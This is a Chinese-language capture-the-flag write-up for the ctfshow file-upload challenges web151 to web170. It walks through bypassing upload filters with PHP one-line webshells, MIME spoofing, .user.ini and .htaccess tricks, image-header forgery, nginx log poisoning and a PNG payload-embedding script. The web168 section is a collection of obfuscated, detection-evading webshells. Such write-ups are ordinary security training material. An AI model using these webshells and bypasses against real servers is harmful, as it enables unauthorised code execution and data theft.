【ctfshow】文件上传web151-170wp

文件上传web151-170

  • web151
    • 1.编写一句话木马上传
    • 2.修改前端验证
    • 3.在蚁剑上找flag
  • web152
    • 1.修改前端验证
    • 2.burp抓包后修改MIME
    • 3.在蚁剑上找flag
  • web153
    • 1.修改前端验证
    • 2.上传ini配置文件
    • 3.上传1.txt文件
    • 4.访问upload目录可进行命令执行
  • web154-web158
    • 1.修改前端验证
    • 2.上传ini配置文件
    • 3.上传1.txt文件
    • 4.在蚁剑上找flag
  • web159
    • 1.修改前端验证
    • 2.上传ini配置文件
    • 3.上传1.txt文件
  • web160
    • 1.修改前端验证
    • 2.上传ini配置文件
    • 3.上传1.txt文件
        • php伪协议
        • 日志包含绕过
        • 空格绕过
  • web161
    • 1.修改前端验证
    • 2.上传ini配置文件
    • 3.上传1.txt文件
  • web162-web163
    • 1.修改前端验证
    • 2.上传ini配置文件
    • 3.session包含条件竞争
  • web164
  • web165
  • web166
  • web167
  • web168
    • 1.修改前端验证
    • 2.burp抓包后修改MIME
    • 3.命令执行找flag
  • web169-170
    • 1.修改前端验证
    • 2.上传ini配置文件
    • 3.日志包含

web151

1.编写一句话木马上传

发现前端有验证

<?php @eval($_POST[1]);?>

直接点开F12

2.修改前端验证

【ctfshow】文件上传web151-170wp_第1张图片

即可上传成功

3.在蚁剑上找flag

//常用命令:
1=system("ls /"); //查找根目录
1=system("ls ./"); //查找当前目录
1=system("ls ../"); //查找上一级目录
1=system("tac ../flag.php"); //打印上一级目录的falg.php
1=system("cp fla?.php 1.txt");//将所有fla?.php文件复制到1.txt
1=system("cp f*.php 1.txt");//将所有f*.php文件复制到1.txt,*代表多个字母

web152

1.修改前端验证

后端也有验证,验证的是MIME类型content-type

  • MIME(Multipurpose Internal MailExtensions)多用途互联网邮件扩展类型。
    是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动指定应用程序来打开。多用于来指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
  • 每个MIME类型由两部分组成,前面是数据的大类型,例如声音audio,图像image等,后面定义具体的种类

常见的MIME类型:
超文本标记语言文本:.html——>text/html
xml文档:.xml——>text/xml
XHTML文档:.xhtml——>application/xhtml+xml
普通文本:.txt——>text/plain
RTF文本:.rtf——>application/rtf
png图片:.png——>image/png

2.burp抓包后修改MIME

所以可以通过用burp抓包后修改MIME后端检验类型,来上传php文件

上传一个php文件,同时用burp抓包,将burp中的Content-Type:
application/octet-stream修改为Content-Type:
image/png,即让服务器认为这个文件是一个图片文件去解析执行

3.在蚁剑上找flag

web153

1.修改前端验证

先修改前端验证,发现抓包修改后端验证也没用,然后找到upload目录下有一个index.php文件,说明可能可以ini配置文件上传漏洞

  • 当前目录里面有php文件的时候,可以运用ini配置文件进行配置这个php文件
  • 和文件包含有关的配置项有auto_append_file和auto_pretend_file

2.上传ini配置文件

auto_append_file=1.txt   //保存为user.ini,记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
1.先上传这个user.ini文件,发现上传成功。

2.然后本来不能上传规定外的文件,现在就可以上传了,上传的是指定的1.txt文件

3.这个1.txt里面就是一句话木马

3.上传1.txt文件

这个1.txt木马就被自动包含进原来目录里的php文件了(一般是index.php)

4.访问upload目录可进行命令执行

web154-web158

1.修改前端验证

2.上传ini配置文件

记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini

【ctfshow】文件上传web151-170wp_第2张图片

3.上传1.txt文件

发现上传失败,应该是对txt文件里的内容有过滤
经检测,查验之后发现是对php这三个字母过滤了,还过滤了[]
构造:

4.在蚁剑上找flag

web159

1.修改前端验证

2.上传ini配置文件

3.上传1.txt文件

对()有过滤,那就不能用一句话木马了
构造反引号,可以直接进行代码执行的,反正可以上传无数次2.txt,一句话木马只是任意执行的手段
主要还是ini配置文件的考点

第一次<?=`ls ../`?>
第二次<?=`tac ../f*`?>

【ctfshow】文件上传web151-170wp_第3张图片
【ctfshow】文件上传web151-170wp_第4张图片

web160

1.修改前端验证

2.上传ini配置文件

3.上传1.txt文件

php伪协议

过滤了反引号,这里使用include命令去配合php伪协议进行读取

include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>

访问upload目录,解码得flag

日志包含绕过

利用日志包含绕过,1.txt内容:

include"/var/lo"."g/nginx/access.lo"."g"?>

因为log被过滤了。所以用拼接绕过
然后修改UA头信息:
【ctfshow】文件上传web151-170wp_第5张图片
接着访问/upload打开源代码即可拿到flag

空格绕过

突破空格过滤可以用换行符%0a

web161

1.修改前端验证

2.上传ini配置文件

3.上传1.txt文件

增加了对图片头的识别,用了getimagesize()进行检测

getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求

ini问价和一句话木马前都要加一句GIF89a,或者改成png文件头89 50 4E 47

GIF89a
<?=eval($_POST{1})?>

web162-web163

1.修改前端验证

2.上传ini配置文件

3.session包含条件竞争

没理解

web164

上传一个文件,打开之后发现有一个图片文件包含点

【ctfshow】文件上传web151-170wp_第6张图片

利用脚本构造出一个png图片,


$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容

 */

?>

木马内容为:

即get传入命令,post传入参数

&0=system
POST: 1=tac flag.php

web165

jpg图片渲染

web166

查看源码,发现只能上传zip

那就抓包,然后把zip压缩包的内容改成一句话木马上传,成功

web167

利用htaccess文件

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

首先上传一个jpg文件抓包

AddType application/x-httpd-php .jpg//将.jpg后缀的文件解析 成php

然后文件名改成.htaccess,然后上传
【ctfshow】文件上传web151-170wp_第7张图片

接着再上传jpg格式文件,内容是一句话木马
【ctfshow】文件上传web151-170wp_第8张图片

然后访问文件,执行命令即可得到flag

web168

其他姿势的免杀马:


$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>

<?php 
    $poc="s#y#s#t#e#m"; 
    $poc_1=explode("#",$poc); 
    $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
    $poc_2($_REQUEST['1']);
?>

<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>

<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>

<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

1.修改前端验证

2.burp抓包后修改MIME

3.命令执行找flag

或者:

 $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>

蚁剑连接,密码TyKPuntU

web169-170

1.修改前端验证

2.上传ini配置文件

3.日志包含

include"/var/lo"."g/nginx/access.lo"."g"?>

上传.user.ini,修改UA头为一句话木马

然后上传b.php

你可能感兴趣的:(CTFshow,前端,php,开发语言)